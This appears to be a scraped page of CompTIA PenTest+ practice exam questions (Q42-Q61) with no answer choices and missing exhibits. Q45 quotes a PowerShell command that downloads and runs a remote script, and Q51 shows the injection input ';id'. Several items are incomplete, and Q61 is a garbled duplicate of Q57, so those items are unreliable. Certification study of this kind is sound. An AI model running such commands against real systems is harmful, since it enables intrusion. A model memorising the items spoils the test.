Prepare for the Actual CompTIA PenTest+ PT0-001 Exam Practice Materials Collection [Q42-Q61]

QUESTION 42
A penetration tester is testing a web application and is logged in as a lower-privileged user. The tester runs arbitrary JavaScript within an application, which sends an XMLHttpRequest, resulting in exploiting features to which only an administrator should have access.
Which of the following controls would BEST mitigate the vulnerability?

QUESTION 43
A web application scanner reports that a website is susceptible to clickjacking. Which of the following techniques would BEST prove exploitability?

QUESTION 44
Defining exactly what is to be tested and the results to be generated from the test will help prevent?

QUESTION 45
Consider the following PowerShell command:
Powershell.exe
IEX (New-Object Net.Webclient).downloadstring (http:// site/script.ps1″); Invoke-Cmdlet Which of the following BEST describes the actions performed this command?

QUESTION 46
A penetration tester wants to check manually if a “ghost” vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?

QUESTION 47
A penetration tester notices that the X-Frame-Options header on a web application is not set. Which of the following would a malicious actor do to exploit this configuration setting?

QUESTION 48
A penetration tester found a network with NAC enabled Which of the following commands can be used to bypass the NAC?

QUESTION 49
Given the following script:

Which of the following BEST describes the purpose of this script?

QUESTION 50
A penetration tester is utilizing social media to gather information about employees at a company. The tester has created a list of popular words used in employee profile s. For which of the following types of attack would this information be used?

QUESTION 51
A penetration tester is assessing the security of a web form for a client and enters “;id” in one of the fields.
The penetration tester observes the following response:

Based on the response, which of the following vulnerabilities exists?

QUESTION 52
A penetration tester is performing a code review. Which of the following testing techniques is being performed?

QUESTION 53
Which of the following BEST explains why it is important to maintain confidentiality of any identified findings when performing a penetration test?

QUESTION 54
Which of the following commands will allow a tester to enumerate potential unquoted services paths on a host?

QUESTION 55
An attacker uses SET to make a copy of a company’s cloud-hosted web mail portal and sends an email in hopes the Chief Executive Officer (CEO) logs in to obtain the CEO’s login credentials.

QUESTION 56
A penetration tester is checking a script to determine why some basic persisting. The expected result was the program outputting “True.”

Given the output from the console above, which of the following explains how to correct the errors in the script? (Select TWO)

QUESTION 57
If a security consultant comes across a password hash that resembles the following:
b117525b345470c29ca3d8ae0b556ba8
Which of the following formats is the correct hash type?

QUESTION 58
Click the exhibit button.

Given the Nikto vulnerability, scan output shown in the exhibit, which of the following exploitation techniques might be used to exploit the target system? (Choose two.)

QUESTION 59
When performing active information reconnaissance, which of the following should be tested FIRST before starting the exploitation process?

QUESTION 60
A penetration tester generates a report for a host-based vulnerability management agent that is running on a production web server to gather a list of running processes. The tester receives the following information.

Which of the following processes MOST likely demonstrates a lack of best practices?

QUESTION 61
If a security consultant comes across a password hash that resembles the following b117 525b3454 7Oc29ca3dBaeOb556ba8 Which of the following formats is the correct hash type?